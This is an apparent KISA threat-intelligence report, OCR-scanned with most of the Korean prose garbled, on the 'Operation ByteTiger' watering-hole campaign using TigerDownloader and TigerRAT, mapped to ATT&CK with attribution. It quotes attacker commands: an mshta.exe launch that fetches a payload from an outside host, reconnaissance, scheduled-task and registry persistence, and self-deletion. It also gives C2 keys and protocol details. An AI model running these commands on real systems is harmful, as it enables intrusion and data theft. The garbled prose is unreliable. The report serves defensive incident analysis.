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1. Introduction
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1. Introduction
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Z. Summary
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3 ATT

Reconnaissance

T1590.005 Gather Victim Network Information

Resource Development

T1583.003 Acquire Infrastructure
T1584.004 Compromise Infrastructure
T1587.001 Develop Capabilities

T1608.004 Stage Capabilities

Initial Access

T1189 Drive—by Compromise

Execution
1
® T1203 Exploitation for Client Execution

® T1059 Command and Scripting Interpreter

Persistence
1
® T1547.001 Boot or Logon Autostart Executio

® T1053.005 Scheduled Task/Job

)

3. ATT&CK Matrix

1

&CK Matrix

11]L

07

Defense Evasion

T1218.005 Signed Binary Proxy Execution
T1036.005 Masquerading

T1140 Deobfuscate/Decode Files or Information

Discovery

T1033 System Owner/User Discovery

Collection
|
® T1560.002 Archive Collected Data

® T1119 Automated Collection
® T1005 Data from Local System
® T1056.001 Input Capture

® T1113 Screen Capture

Command and Control
|
® T1071.001 Application Layer Protocol

® T1132.001 Data Encoding

® T1573.001 Encrypted channel

Exfiltration
]
® T1041 Exfiltration Over C2 Channel
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3. ATT&CK Matrix

E

i\ S . ]
- '3 Reconnaissance '

1. T1590.005 Gather Victim Network Information: IP Addresses

- B0 ofol] HEE £70sH YERIE A ofo|n] ZEfR0) B

)

l

Script Injection
% S e e

WateringHole Server Attacker

+

f
{ Collecting Target IP
|
|

connect

Malicious Script
Target

l Internet

stReferer - request
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2"5 Resource Development : XH&7Hgr
1. T1583.003 Acquire Infrastructure: Virtual Private Server
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3. ATT&CK Matrix

3. T1587.001 Develop Capabilities: Malware

C D= TH LS Yl Al TS 25 S
3 ol SHA| S S E=2S)
TigerDownloader iexplore.exe fOff67d4d34fe34d52a44b3515c44950 7t Of CIRE2E 2 AlSH

Isdev.exe
TigerRAT msdev.exe 4df757390adf71abdd084d3e9718¢153 X
ASDCli.exe

4, T1587.004 Develop Capabilities: Exploits

- OINTIES NSk |9JsH S AmE01o] FIFE BM B
- £ AmEgofo] HOPHS ol mshiaexe Alstoh QI Ci2EE 3 Als

FlorS olgst 37 0l

C:¥WProgram Files(x86)¥WUnidocsWezPDFReader2.0GW../../../Windows/System32/mshta.exe “hxxp://34.221.66.xx/
page.htm!” /print

OS5 oI il HAE 27 AlZ UTC+09:00)
x86 (32bits)  ezPDF Editor 74212 3.0.4.6 13.0.4.5 ‘Unidocs, Inc. 021-02-19 14:25:31 Fri
%86 (32bits) ezPDFReader 2.0G 2.0G Unidocs, Inc. 2021-02-19 14:25:31 Fri
x64 (64bits) | ezPDF Builder Supreme 1.0 UNIDOCS, Inc. 2021-02-19 14:25:27 Fri

5. T1608.004 Stage Capabilities: Drive—by Target

- QIE2E H(O|X|0f HASH A ZZ ChAL

10
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‘2"3 Initial Access : =7

x I E
xEI_I_

1. T1189 Drive—by Compromise

- 7 PAO|S0] T2 Al ANTE RE MOIER HFEIEE F7} TS 4
- Disft= 57 AlO|S %2 U ForH2 S oryzs 23

WateringHole Page Access

IP Filtering

Main.html

Exploit!

gw.xXxXx.com

iexplore.exe

11
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3. ATT&CK Matrix

2’3 Execution : AlgH
1. T1203: Exploitation for Client Execution

- £ AmEQ0fo] HOPHS S5 mshiaere AlsH QLTI CI2RE 2 A3
- Sl 20| ABHAISA} HEHOE otNTE MY
_I I

0%

+ page.htmi2 Saf| TigerDownloader 24T = AX

C:\Program Files(x86)\Unidocs\ezPDFReader2. OG'll J.f..[Windows/System32/mshta.exe hxxp [134.221.66.xx/page.html” ,l'pnnt
¥ I( li
ot ma Oy x| H2 ForEE Sal &# AlY 223 (mshta.exe) mshta.exe® S8 48 & HO|x|

z2 2 2 79(ezPDFWSLauncher.log)oflA] LIEF 224 0|24

05/25/2021, 10:40:36 » AT E ASHA|ZE 05/26/2021, 10:23:00 » AT E ASHA|ZE
05/25/2021, 10:40:36 05/26/2021, 10:23:00
05/25/2021, 10:40:36 05/26/2021, 10:23:00
05/25/2021, 10:40:36 05/26/2021, 10:23:00
05/25/2021, 10:40:36 05/26/2021, 10:23:00
05/25/2021, 10:40:36 05/26/2021, 10:23:00
05/25/2021, 10:40:36 05/26/2021, 10:23:00
CreateProcessAsUser, sid = 1, pid = xxxxx CreateProcessAsUser, sid = 1, pid = xxxxx
Date DST IP DST Port URL H|
hxxp://34.221.66.xx/page.html
ORECE
2021-05-25 34.221 66.xX hxxp://34.221.66 xx/Isdev.exe
10:40 ~ 15:22 (Amazon) % hxxp://34.221.66.xx/StSess_Update.php -
S28=8

hxxp://34.221.66.xx/ASDClient.php

12
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3. ATT&CK Matrix

2. T1059: Command and Scripting Interpreter — Windows Command Shell

+ Windows Command Shell2 Saff H& 3l

o2MA Ho magA HH0f

mshta.exe | ezPDFWSLauncher.exe | "mshta.exe” "hxxp://34.221.66.xx/page.html’ /print

cmd.exe /c ipconfig /all
cmd.exe /c tasklist

cmd.exe /c netstat —naop tcp
cmd.exe /c systeminfo
exploreexe shiB.exe cmd.exe /c fsutil fsinfo drives
cmd.exe /c dir c:w*

cmd.exe /c dir d:w*

cmd.exe /c dir z:wW*

cmd.exe /c c:WusersWpublicYisdev.exe

cmd.exe /c c:WusersWpublicWPicturesmsdev.exe

cmd.exe /c "net use"

cmd.exe /c "ipconfig /all

cmd.exe /c "whoam'

cmd.exe /c "reg query

Isdev.exe cmd.exe HKLMWSOFTWAREWMicrosoftWindowswWCurrentVersionwPoliciestSystem”

cmd.exe /c "tasklist'

cmd.exe /¢ "whoami'

cmd.exe /c "schtasks /create /in "AhnlabWASDClient" /tr
'C:WProgramDatatAhnlabWAISWASDCliexe" /sc daily /st {Time) /ru (Account)

cmd.exe /c "reg add
HKCUWSoftwaretMicrosoftrWindowsWCurrentVersion#Run /v
AhnlabClient /t REG_SZ /d "C:¥#ProgramDataAhniabWAISWASDCli.exe" /f'

cmd.exe /c "whoami /s

cmd.exe /c "whoami /7"

cmd.exe /c "whoami /user"

cmd.exe /c "wind.exe {Azure—AD SID)

cmd.exe /c "wind.exe'

msdev.exe cmd.exe

cmd.exe /c "net use"
cmd.exe /c "whoami"
cmd.exe /c "del /f wind.exe"

cmd.exe /c "net view (P)"

13
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3. ATT&CK Matrix

2’3 Persistence © X|&

1. T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
2. T1053.005 Scheduled Task/Job: Scheduled Task

- AER Y YRIAER| S22 Sai KIAKPI ok

1L 1O

o

5 = /73| g4 [Etglatol oto|# |
) ifz‘l%*s’ir{urcwg:nu) 2021-05-25 15:38:01 Tue Z.t o o ETT—
- &8
FEIEIPES 0 [ab] opEMVPN-GLI REG_SZ C:¥Program Files WopenvPNWhinfopenvpn-gui.exe
Z T a [aB] com.squirrel, Teams. Teams REG_SZ CiiifUsers ™™ 0 I appDataMLocal WMicrosoft®Team. .
B Onelrive REG_S7 “CriffUsersie appDataLocalWMicrosoftione. ..
B KakaoTalk REG_SZ “C:WProgram Files (x38) Wiakao YKakaoTalk WrakaoTal...
F‘" SMemo Start REG_S7 “D: WsMemo WsMemo.exe” flogin
Fl" CrossEXService REG_SZ Cr'WProgram Files (x36) WiniLINEWCrossEY WorossexWC...
ab |p BEG.S S oranram Fiee (yR6) W Tearm] IO Team) 1D ixe'
|2 AhnlabClient REG_SZ CrProgramData WaAhnlab WAISWASDC)  exe

HKEY USERSWT % F¥SOFTWAREWMicrosoftWindowsWCurrentVersion#Run

AHEH SE

schtasks /create /in “AhnlabWASDClient” /tr “C:WProgramDatatAhnlabWAISWASDCli.exe” /sc daily /st {Time) /ru {(Account)

HXIAEE SE

HKCUWSoftwaretwMicrosoftwWindopwsWCurrentVersionRun /v AhnlabClient /t REG_SZ /d
“C:WProgramDataAhnlalbWAISWASDCliexe” /f

14
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3. ATT&CK Matrix

2"3 Defense Evasion : B0{ 3|1

1. T1218.005 Signed Binary Proxy Execution: Mshta

« mshta.exe(Windows FEEIEIE)E U510 24 .hta T X Javascript EE= VBScripte] A1ed

C:¥Program Files(x86UnidocsezPDFReader2. 0GYY../../../Windows/System32/mshta.exe “hxxp://34.221.66.xx/page.html”

/print

Exploit!
N > B
/| load html page Download File .9

explorer.exe

vulnerable software mshta.exe
(Tiger Downloader)

page.html

2. T1036.005 Masquerading: Match Legitimate Name or Location
- IfAU2 iexplore.exe 11 CEAt D2 20| ARRSH= ClElER| 20
OFA

obd o M

C:WProgram Files(x86Unidocs\WezPDFReader2, 0GW../../../Windows/System32/mshta.exe “hxxp://34.221.66.xx/page.htm!”

/print
O] = A2 Hash(MD5) s
iexplore.exe CWusersWpublicw f0ff67d4d34fe34d52a44b3515c44950 HEXE
Isdev.exe C:WusersWpublict HYxE
msdev.exe CWusersWpublicWpictureW 4df757390adf71abdd084d3e9718c153 HHRE,
ASDCliexe | C:ProgramDatatAhniabyAISH =

15
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3. ATT&CK Matrix

3. T1140 Deobfuscate/Decode Files or Information

P

IRE AMTFCE ZEMOR 16HI0|E 7| 2122 H|0|EIE XORS! 0| Baseb4= Q1T

|
o
= SAIEuHATEEY} Q15T =0 20, Base642t RCA €112|1E S5 St AYZEI AMEE
4IE T4 HO[EE ==8t

—
ac

L

[¢]

A

9 1

Ao

= o

d

xe o

size \, I(f key(16) Pagked Malware

LE.
SWCAECw

<0, aR%y"
A5

Address Hex dump

TigerDownloader TigerRAT
1st stage 253 16byte key XOR & Base64
=XIE 5535t Baseb4 & RC4 DES ¢12|&
AT ME £53 Baseb4 & RC4

DES ¢112|&
C2 84l Baseb4 & RC4 RC4
DES Key : 728DE941A2348BD2
Base64 MOl Zf 1: A~Za—z0-9+/= RC4 Key1
7| 2k Base64 A0l 7+ 2: A—7a—70-9#$= : DE42BE46EABICDFC5CE3066426C1FATF
RC4 7| %t : 0123456789ABCDEF RC4 Key?

: 739F5574809658F2AD548A57D420AAB1

16
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3. ATT&CK Matrix

PRl Discovery : 44

1. T1033 : System Owner/User Discovery

+ TigerDownloader= ZEE AIARS| 7|7|2] AAH, FHEE, UERXNZR YL S +E6i SAX C20i| THsH,

olmf 4=%let MEE= Baseb4=2 Q1

POST fconfig.asp HTTP/1.1

User-Agent: Mozilla/5.8 (Windows NT 10.8; Win64; x64) AppleWebiit/537.36 (KHWTML, like Gecko) Chrome/B4.8.4147.185 Safari/537.36 Edg/84.8.522.52
Host: 10.18.2.122

Content-type: application/x-www-form-urlencoded

Content-length: 316 T

Cookie: 38327

TAAXADYAOQAUADTANQABACAAMQAXACAAMOAS ADEAT AAWAC A AMAALAD AAL BAWACAAMOAWACAAMGAWAC AMEAUADE AMg)
TAAWADTALQAWADAAL QABAGMAL QABAGYALQABAGY ALQALADAAT ABMAD gALQBRAGYAL B ] ADT AL QABADMALQASADK ALQBhAGQA T AAWADAAL QAWAGMALQAYADKALQBKADIALQAXADEALQBKADQAAAS=

[ 1d=Tiger1@102004c4fafse | VABIAESAURAAAN==| VABIAEBALUGALAFANQuAAAL== | AdA=|

Identification mac address User Name

[/ /

bt v
Id=Tiger101 02004c4f4f50 | VABIAESAUgAAAA== /
o / VABIAEBAUgAtAFAAQWAAAA== | AAA= | IAAXADYAOQAUADIANQAOACAA.. 242

IAAWADIALQAWADAALQAOAGMALQAOAGYALQAOAGYALQATADAAIABMAD..AAAA=

!
Computer Name \

~——  Adaptorinfo

17
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3. ATT&CK Matrix

2"3 Collection : &
1. T1560.002 Archive Collected Data: Archive via Library

AT S B YR S AbS S U5 UEH

o

MSVE-AGEB-B954-9JW2F.mx x89891-009942-xnopcopie.dat (Archive and Password-Protect)

2. T1119 Automated Collection

« TigerDownloader= QtATE AlsH A| QXAE ZEEO|E, H{HE (pmac) HE So| A|AE MHE X502

LSR5t C22 Met

Get info

User Name

Execution — CreateThread — Computer Name Send
Adaptor info(ip, Mac)

18
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3. ATT&CK Matrix

3. T1005 Data from Local System
4, T1056.001 Input Capture: Keylogging
5. T1113 Screen Capture

* TigerRAT UMTA == AMTAE0| 7|5 S AARC| CIHER| ZM miel M 7|22 AFE K 75 S2 0olZsh
LEE AIA-OIM mHY U FHEHE £ 3 SAE 4 IO, HHS 2o WIS 3
+ TigerDownloader 28T E= 5712] BHS 80| 7tsotH 2 3 FHofl et S 2h(Tiger102, Tiger103) ME

=
Q
@
5
12
0x
|-.u
n
N
orr
AL
1z
=
i

Create Thread GETC2

3 t " TCP_Vtable

— MainStruct i Get_Adapter Info_Struct(})
i & ' : DES_Vtable

i | TCP_Struet() [
i - RC4_Vitable

Configurelmport
Vtable =

L self Delete

. Configurelmpart
i : Viable —-—-|
L—. Self_Delete_Streut pre—r Victiminfo —r 0
Vietim_info_Struct ’— Vtable
| ShellCommand_Struct ————————— | |:Cmfigu relmport

FileManager_Struct Shell Command
T i M i St s
S —— - Ox0 Set Flag
SocksTunnel_Struct Viable 0w10 Drive fist & information
——  Control Main . ————— Configurelmport 020 Find Fie
1 Wm File Manager 0x30 Delete File
l T Omdd), 0242 Download File
'— PortForwarder_Strucp Set flag 050 Upload Filg
C2 Connect & Recv Command . - " I - ) OxEF Set Flag
| Viablg ————————
Wiable Viable

OxB0 Directory lis

L[ Configurelmpart Configurelmport

Capture Keylogger
Ow0 Send Status Viable Set flag

PortForwarder Set flag

L[ Configurelmpart

Set flag 010 ScreenCapture 000 Send flag
020, 0x50 Set Flag — Configurelmport | 0¥10 Keylogging & Comprass
Ox52, 053 Set Flag 020 Keylogging & Compros:
OO - 0x67 keybd_event SocksTunnel Dx?‘nﬁr-lf-‘cl‘;? PSR
[alt = tab, enter, asc, shift + ded...) Satflag 025 logging file upload & delete
0x32 Send flag

TigerDownloader 24N TE 7|5 EME

Command Description Request ID

(o] Cmd Command Tiger102
Upload File | Tiger102, Tiger103
Download File | Tiger102
Terminate Thread Tiger102
Update C2 Tiger102
19
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3. ATT&CK Matrix

2"3 Command and Control

1. T1071.001 Application Layer Protocol: Web Protocols

« TigerDownloader?} TigerRATS EF HE MHR} SA A|HTTP Z2EZSE AR

TigerDonwnloader HTTP Gi|O|E{

» Destination); /]
84.0.4147.105 Safarif537.36 Edg/84.06.522.52

/1.1
537.36 (KHTML, like Gecko) Chrome/84.¢

T 12.08; Winb4; x64) AppleWebKit/

{Windows N

TigerDonwnloader SZt 1}X

[?Io °
Ol

0
TigerDownloader C&C Server
Send System Information - Tiger101
»
Send Command Result
Terminate Thread Result - Tiger102
Update C2 9
Download File
»
Upload File - Tiger103
2

Upload ,Download File status - Tiger102
4

20
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3. ATT&CK Matrix

TigerRAT HTTP H|O|E

HTTP 1.1 /index.php?member=sbi2@@9 SSL3.3.7.HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=us-ascii

Server: Microsoft-HTTPAPI/2.@

Date: Wed, 21 Jul 2821 @©5:12:47 GMT

Connection: close

Content-Length: 311

TigerRAT SXt 1M

=] =

TigerRAT C&C Server

Member = shi2008 S5L33.7.

HTTP 1.1 200 ok S5L2.1
Check Receive String . ‘
Generate 16 Byte Data from .
Hashing Algorithm with RC4 |
Key | Send 16 Byte Data + 1Byte ’
Ready for Command . ‘ Ready for Command

Send Command with ‘nOgyPPX' String

-

Check first 8 byte if
Value is 'nOgtPPX"

SetFlag=1 &

Command Execute ‘

TigerRAT Hashing Algorithm

Initialize variables: 0123 4567 89 AB CDEF FEDC BA 9876 54 3210

Data: DEA2BE46 EABO9CDFC5CE3 066426 C1FATF73 9F 5574 80 96 58 F2 AD 54 8A 57 D4 20 AA B1

@ Hashing

Value :F27C 29 1F A5 75 FA 20 23 F7 7B 5B FA 5B E14A 00

21
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3. ATT&CK Matrix

2. T1132.001Data Encoding: Standard Encoding

» TigerDownloader 2fHT == HE S4A A H|0|E{E Base64 L1252 S5l QIZES MESHH,

AEElE MRIZLS HAGHM AL

TigherDownloader Base64 Q1 Zk

ABCDEFGHIUKLMNOPQRSTUVWXYZabcdefghikimnoparstuvwxyz0123456789#$=

3. T1573.001 Encrypted channel: Symmetric Cryptography

« TigerRAT 2tdFE= FE &4 Al HI0IEE RC4 Y112|5S Sall Y=t

TigerRAT RC4 12|15
if ( BYTES( Main->field_s@) )

RtlEnterCriticalSection_ (&stru Main=>field_28);

= t_Main-»>struct_3@ ;
v = Src;
**&bu -—>'Field_13 = a2;
®(*Rbuf->field_18 + 4iB4) = a3;
*(*&buf->field_18 + 8ib4) = v5;

memmowve ( (*& '->Field_18 + 12i64), vie, };
1 = {"(*‘ﬂ 1f->RCA_Struct + 16i64))(*& ->RCA_Struct, *& -»field 18, (v5 + 12), Bv13);// RC4

‘"‘& }bu‘F = vi3;
memmove((‘& f=>buf + 4i64), v11, v13);
'Fr'ee( 12);
{ Main=-»>TCP_Struct[@]->TCP_T[@]->Send_1400869988) ( Main-3>TCP_Struct[@], *Bbuf->buf, (v13 + 4));// 148889980
RtlLeaueCritlcalSectwcn _ (8st t_Main->field_28);
1
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3. ATT&CK Matrix

P10/ Exiiltration

1. T1041 Exfiltration Over C2 Channel

« TigerDownloader AATE= HAHR|HAMHL} A A| HTTP EAIS S6lf HHS 4440 2o 2H HZ Astof| 2|
AHETIE AL
» TigerDownloader 2T == TfYU &AM A THHHE 0[25HH, Content—typeZ 0|0|X| TIUZ Y&

* TigerRAT A dTE= HHMOMHZ TiY, 7|22ZE, 238 MM 2 SS 7E

Identificator
Tiger101 Send Victiom info
Tiger102 Recv Command
Tiger103 File Upload

TigerDownloader 2MIAE T185|H

strcpy( s "eu--\r\n");
strepy(

ML, like Gecko) Chrome/84.8._4147.18"

: filename=\"%s\"\r\n"
qnlan‘\c_;}:( 22, "\r\n WebKitFormBoundarynUBHBlwIeLhbB3", sizeof(w22)});
strepy(
& t[132],
"\r\n------WebKitFormBoundarynUBHBlwIaLhbB3eu rinContent -Disposition: form-data; name=\"Id\"\r\n\r\n"});
k = malloc(va);
EeadFilel 3 al.
TigerRAT &MT T} KESH HI0|E 37|
o gol= ~| BA : Bytes Sent Ot - Bytes Received
U WdeviceWharddiskvolume2WusersWpublicWiexplore.exe 466,108 1,107,270
i 2021-05-25 27 11:35:00 243,512 53,621
2021-05-25 2% 1:37:00 118,051 42,301
2021-05-25 2% 12:37.00 64,273 26,352
2021-05-25 2% 2:39.00 12,643 5,184
2021-05-25 2% 3:39:00 27,629 979,812
= WdeviceWharddiskvolume2WusersWpublicWsdev.exe 13,701,031 830,405
2021-05-25 2F 2:39:00 13,701,031 830405
= Wdevicettharddiskvolume2Wusersipublictpicturest¥msdev.exe 4,142,277,119 640,152,812
2021-05-25 2% 3:39:00 2,538,291 64,883
2021-05-75 2= 4:41:00 1,131,073,996 220,747 481
2021-05-25 2.3 5:41:00 124,819,996 13,506,644
2021-05-25 2= 6:43:00 656,692,046 121,119,347
2021-05-25 2% 7:43:00 1,266,645,497 190,904, 484
2021-05-25 2% 2:45:00 053,860,907 91,697,108
2021-05-25 2% 9:45:00 6,646,386 2,112,865
ZaH 4,156,444, 258 642,090,487
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4, Attribution

T

U. Attribution

|

)

o
E|2 SLHOIA LMt D Q= FA(RAL ZA)IS00 2o LSt FSHAID Atzlel TTPE HmEH S22 %5 =5t
SX0| SYstHzte zlx FEE flst 34 7IH2 ZF 7ol 240l wat HWalstn ICt Ol 34380| 71X U=
4 I’*(Technlques)% 2&o17| sl 7122l ol A T2tmt HExKTactics, Procedures)S Hatel JZCh&0l WA Cretst
USE LIEHHTE,
|Z0f ZB7H= Kaspersky2} Malwarebytes

. BZHo)=

M=z HMEE Aoz 2ol 7

5t 274 Mzt 71a S0|

in_HOﬂM SNE F AT E(ChREN
T BOMOIM HOIE TTRYGEE MM A2, ARBE FHUF, I S04 AQl ER)0IM RARRt 34 T
ABE B2 SloI8 4 QIoict
|H ZolM= At ERIE 2829| AT =0 ER 7IZE0 Z7HE TTPAC| FAMES H|w EMal St #AIE SIGHTt
SpearPhishing Attachment Watering Hole
¢ > Enter
;%) | 3 Watering Hole Page
File Attachment —
l Ip filter
v
iR= |
Document —— P e
CECER
! e - &
[coo )
Script (hta) <...'> Exploit page.html
Drop payload
File down &up ¥
» |= < Downloader
RAT E§
Download
C2 farm
IS
Download
—
Command [ Control —
or — |
TS Command / Control
RAT
3AINRE
24

Korea Internet & Security Agency


https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/
https://blog.malwarebytes.com/threat-intelligence/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/

4, Attribution

P/ Exiltration

1. FENS(EZHE 7|dh 22| A|AHR)S S6t At

- Of2h= KISAS| 1R AJAEIOI FENSE E3l 9| & E 1M (Kaspersky, Malwarebytes)Li 7|XHEl A=
S e o 1= ZLEl-Tl Operation ByteTigerOllAl AFSE 24T =0| FAMMS SfQlst Anto|Ct,
« O|O|X|Of A LIELE SAMEE AddTES| EXMEEE FE6tT 1 MEE LIEHH 2
SectionMD5, &t FAMY S

mjo

Soll 2f MET 71| HAIE EELL
e @ -
=3 = o ?
= 2 o
& ° e o e
~et
HOTCROISSANTOX7FB(yara)
L=t ‘:‘, “T
2 .
T = ) - Group
: e e g '
= =g, y & @ D
i W , <, e} (w3
Kaspersky_Sample BN Ry Rovess ~ o Brurrs
e S DN w ) o
5 gy
. @ -
@ - o
W | Operation ByteTiger
o P o
MatwareBytes_Sample
opMTE SNEE Un
Code Block UMTEE o THRIZ SHAIRIS Hlusl &= 7t RAIEE EHE
RichHeader orNTES ZMUMANE SRR} Sl Sl Folol A
SectionMD5 A HHEZH MM H|0|E2| sHAIZS HIwsH FAIEE H0iE
c2 orMmET} ARBSHE BZAte] TUIQl U PE2HA) AT £A
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4. Attribution

2. mshtag S8 24T E(hta, html)}&> L

H o2 Ol FAMS 01251 mshtaS AEHA|7|1T, mshtaZZ2 IS S5l 2 hta(htm)IHUS s dMHT=S

C:\Program Files(x86)\Unidocs\ezPDFReader2.0G\. .[..[../Windows/[System32/mshta.exe "hxxp://34.221.66.xx/page.html” [print
L3 ¥ 1

oMl ;20 MR HE2 FOMH S Sof A% AlY T2 1B (mshta.exe) mshta.exe® S8 4¥ & HO|X|

- Al E10IE| 20| OPHTIE BT AlK| RYHS Sl TS ORTC LR 213 F0] AU,
012 miza|ofl 2=8t 1 BASEGAZE C|RTsk, 16HI0|E 7| 242 S5l XORsH H22/0 2=5ic},
size f key(16) Packed Malware
00023FF0 10O 0_00_00 U% JO_00 00 00 0C T b R B P R e L
00024000 00 h4 0100129 53 21 28 4¢c 71 5§ 0..)S! (Lg(k3NTX
00024010 6E 58 46 00 CC D9 A8 21 6F | nl¥XF.IU0" 'oLR.vCo
00024020 5C F_T-. E4 AS 8A E1 4F 17 81 BO 56 43 E2 D7 C7 77 \ﬁa"ééo..“VCéwa
00024030 77 47 F4 20 F9 CcO 74 20 A6 54 2E BO 2E 27 64 31 wGd ﬁ?&t\:T.".'dl
00024040 92 7F 00 DC AC 92 63 C0O 24 B2 18 19 B9 EC 66 25 '..U-~"CcASs2,.1if%
00024050 C2 1B 24 Cc4 73 18 7B 66 74 8C 90 TE 67 AE 42 96 ﬁ.$3"&s.{ft¢.~g®8—
00024060 AD 87 D6 5C A6 96 C1 39 F2 8C FA 47 DB CF 75 FA .#6\!-A9s@acOiua
00024070 D2 5E 9A 15 3C 51 OD E3 F1 94 79 91 A7 2E 98 95 O“é.(Q.éﬁ”y‘§."°

00024080 AA C4 6D D5 D4 E8 BA AC 2D 77 3D Al 15 6A F9 71 2Em0Oe°--w=;.jug

4. RI7AH| AFEE

* TigerRATFE T E0 M SIE XI7F AM| ASZE(bat) TS| F=T} 7IE0] THE ARSI ALZE HE2}
SLot A=A

) aEchoOffL1DelsS db '@echo off',0Dh,8Ah : DATA XREF:

1]

3 db ':L1',0Dh,08Ah
) db 'del "%s"%s "%s" goto L1',0Dh,0Ah
) db 'del "%s"',@Dh,B8Ah,0
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4, Attribution

(6]
0g
o
N
=
i
k=)
=]
]
E
e
oln
To
H
o
bal
g':“ﬁ
>
OF

- Z}50| otMFE = HHZAN MRUHZS testgif2 0]0|X| It 20| AM5H C2AH 2| imageEHZ MESIRCH,
Z(ByteTiger)2| St T == HE Znt MEFA| Content-TypeS 0|0|X|2 X|HSIFHOH, HH HIIE C2AH 2

imageZ0 20l SYSHAH| Tttt

sub_TFFTTFSA1658(
strepy(vis, "POST™);

memyet( 8, sizeof( 3]
Tprintel

Malwarebytes'’s Sample Operation ByteTiger's Sample

- UMFE= HAXO AHLE SAZ Y6l £ 24at ol=3 2 E EXIES MESIT) o|uf ME == 24t 4o A
T SEZ ol A= 242 H|wst LHE0|ct
Operation ByteTiger Kaspersky Report
SlETEE &AM ZE HTTP 1.1 /indax. php?member=sbi2009 SSL3.3.7. HTTP 1.1 /member.php SSL3.4
o 41 H0[H HTTP 1.1 200 ok SSL2.1 HTTP 1.1 200 ok SSL2.1

=] = o
L OFYTE ME|ZE Y OTCO| 0/20] FA MALT AEXI MBI O SO ZRE 0I23l Oixl Y

C:WusersWpublicWiexplore.exe
C:WusersWpublicWisdev.exe
C:WWusersWpublicWpictureWmsdev.exe
C:WProgramDataWAhnlabWAISWASDCli.exe
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4, Attribution

Okl
N
>
N
10
0x
’-JJ

=
i
p=
oo
ok
O
£
O
0x
om
Hu
I
o
=
e
1z
0g
om

Of ASHH(IRRYOIN B2IZ0| SXS

Jor

folgt 4 Ut

o2MA Ho magA HH0f

mshta.exe | ezPDFWSLauncher.exe | "mshta.exe” "'hp://34.221.66.xx/page.html" /print

cmd.exe /c ipconfig /all
cmd.exe /c tasklist

cmd.exe /c netstat —naop tcp
cmd.exe /c systeminfo
exploreexe shiB.exe cmd.exe /c fsutil fsinfo drives
cmd.exe /c dir c:w*

cmd.exe /c dir d:w*

cmd.exe /c dir z:wW*

cmd.exe /c c:WusersWpublicisdev.exe

cmd.exe /c c:WusersWpublicWPicturesWmsdev.exe

cmd.exe /c "net use'

cmd.exe /c "ipconfig /all’

cmd.exe /c "whoami'

cmd.exe /c "reg query

Isdev.exe cmd.exe HKLM#WSOFTWARE#MicrosoftiWindowsWCurrentVersionPoliciestSystem”

cmd.exe /c "tasklist’

cmd.exe /¢ "whoami'

cmd.exe /c "schtasks /create /in "AhnlabWASDClient" /tr
'C:#WhProgramDataWAhnlabWAISHASDCliexe" /sc daily /st {Time) /ru (Account)

cmd.exe /c "reg add
HKCUwWSoftwareWMicrosofttWindowsWCurrentVersionWRun /v
AhnlabClient /t REG_SZ /d "C:¥#ProgramDataAhniabWAISWASDCli.exe" /f'

cmd.exe /c "whoami /s

cmd.exe /c "whoami /7"

cmd.exe /c "whoami /user"

cmd.exe /c "wind.exe {Azure—AD SID)

cmd.exe /c "wind.exe'

msdev.exe cmd.exe

cmd.exe /c "net use"
cmd.exe /c "whoami"
cmd.exe /c "del /f wind.exe"

cmd.exe /c "net view (P)"
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Wils,

5. Conclusion

11]1

Security Incident Responder’s Insight

BIRIEUTIEYS 2 HIMES Soff EE YERE BHO= oNTC U YHRES AU BHITY

TARE B2 20| MHIAS S8t MHXIS SE5kn M) Ez:agm et Hlory GtTE AISCE o)
TAChAO| HIHEHH TASH MOLE0] oh ATRIE W oAZROIS Melsl S YERIE BHS 4%t
AHOIE. RAA| MEE B2 CHAOIAIRH ONTES MR|SIHOD] S5 ATEolo] FHS Ol UAIZIT
Mg opTCE ZelE AAH0| 57} NS IR2E $ UEAIE BR KRS A - 2

010, #fet oLSRE| S7) o SAISE S 22 7/E0] CE S% Qe lHRsslol SANE Sel
90| TIPE S| BHRIX| Soichs

= AULE. Ol= alied SAaE0| At AYF=E HA H ArESHAXI2t
° T

T3, 00 BREUNSANN Holst T2 WS ENY YHYE BAS 53 AT0UOLY,
o =

LIEE M= AL|KIEE St SHOIRACE. Ol= AR Lfsh? Y 2t X0 TTPE Helsl 7t S24S

LEEICH 22 LSHECE
Ol%{E BZKH= 22 Ao = EIE 9 AmeQof FOMM TAY 12T Al ONACE JHts 7tni of2f
712l B2t Quct

SAKe| BE S U2t &X| QLT CHEt S| MA| ALIZ|QUM XZ SXof ==st| M7KK|Q 722t B
StLte| F1Ztol2te HOE SiCiH J2Xte| 42 =511, 349 §X|9| Jtsds =Y 4 Ut J37| o
b2

2
22| HUAPAISE B2Ariol TIPE 2 8 FU0ict NS 7188 Bats| Mo B2ixio] #E0| 270)

29

Korea Internet & Security Agency



